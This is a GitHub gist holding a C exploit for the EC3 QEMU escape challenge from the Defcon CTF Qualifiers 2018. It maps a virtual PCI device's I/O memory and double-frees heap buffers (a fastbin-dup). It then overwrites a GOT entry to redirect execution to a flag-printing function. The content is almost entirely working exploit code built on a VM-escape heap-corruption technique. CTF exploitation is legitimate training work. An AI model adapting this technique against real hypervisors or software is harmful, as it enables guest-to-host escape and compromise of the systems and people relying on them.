Skip to content

Instantly share code, notes, and snippets.

@saelo
Created May 14, 2018 15:34
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save saelo/fe2b422a9371aec3b8656e7299d4534a to your computer and use it in GitHub Desktop.
Exploit for the EC3 qemu escape challenge of Defcon CTF Qualifiers 2018
//
// Exploit for the EC3 qemu escape challenge of Defcon CTF Qualifiers 2018
//
// Also see https://kitctf.de/writeups/hitb2017/babyqemu
//
// Copyright (c) 2018 Samuel Groß
//
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#define DMA_BASE 0x40000
unsigned char* iomem;
void iowrite(uint64_t addr, uint64_t value)
{
*((uint64_t*)(iomem + addr)) = value;
}
void iowrite32(uint64_t addr, uint32_t value)
{
*((uint32_t*)(iomem + addr)) = value;
}
uint64_t ioread(uint64_t addr)
{
return *((uint64_t*)(iomem + addr));
}
void free_buf(uint64_t i)
{
uint64_t addr = 0x100000;
addr |= i << 16;
iowrite32(addr, 1337);
}
void alloc_bufs(uint64_t size)
{
uint64_t addr = 0x0f0000;
iowrite32(addr, size);
}
void alloc_buf(uint64_t i, uint64_t size)
{
uint64_t addr = i << 16;
iowrite32(addr, size);
}
void write_buf(uint64_t i, int16_t offset, uint64_t val)
{
uint64_t addr = 0x200000;
addr |= i << 16;
addr |= (uint16_t)offset;
iowrite(addr, val);
}
uint64_t read_buf(uint64_t i, int16_t offset)
{
uint64_t addr = 0x100000;
addr |= i << 16;
addr |= (uint16_t)offset;
ioread(addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the ooo device
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (fd == -1)
exit(-1);
iomem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (iomem == MAP_FAILED)
exit(-2);
// We can do various kinds of heap memory corruption.
// With that we essentially do https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c
alloc_buf(0, 8);
alloc_buf(1, 8);
alloc_buf(2, 8);
free_buf(0);
free_buf(1);
free_buf(0);
alloc_buf(8, 8);
alloc_buf(5, 8);
// Overwrite some GOT entry ...
write_buf(8, 0, 0x1133daa - 8);
alloc_buf(9, 8);
alloc_buf(10, 8);
// ... with the address of the function that just prints the flag
write_buf(10, -12858, 0x6e65f9);
alloc_buf(13, 8);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment